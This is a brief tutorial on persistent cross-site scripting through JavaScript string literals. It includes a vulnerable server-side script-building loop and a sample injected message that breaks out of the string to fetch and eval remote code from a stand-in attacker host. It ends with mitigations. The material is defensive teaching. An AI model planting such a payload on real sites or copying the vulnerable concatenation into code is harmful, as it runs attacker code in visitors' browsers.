JavaScript Persistent Cross-site scripting from JavaScript string literals


Example

Let's say that Bob owns a site that lets you post public messages.

The messages are loaded by a script that looks like this:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

The addMessage function adds a posted message to the DOM. However, in an effort to avoid XSS, any HTML in messages posted is escaped.

The script is generated on the server like this:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

So alice posts a message that says: My mom said: "Life is good. Pie makes it better. ". Than when she previews the message, instead of seeing her message she sees an error in the console:

Uncaught SyntaxError: missing ) after argument list

Why? Because the generated script looks like this:

addMessage("My mom said: "Life is good. Pie makes it better. "");

That's a syntax error. Than Alice posts:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

Then the generated script looks like:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

That adds the message I like pie, but it also downloads and runs https://alice.evil/js_xss.js whenever someone visits Bob's site.

Mitigation:

  1. Pass the message posted into JSON.stringify()
  2. Instead of dynamically building a script, build a plain text file containing all the messages that is later fetched by the script
  3. Add a Content Security Policy that refuses to load active content from other domains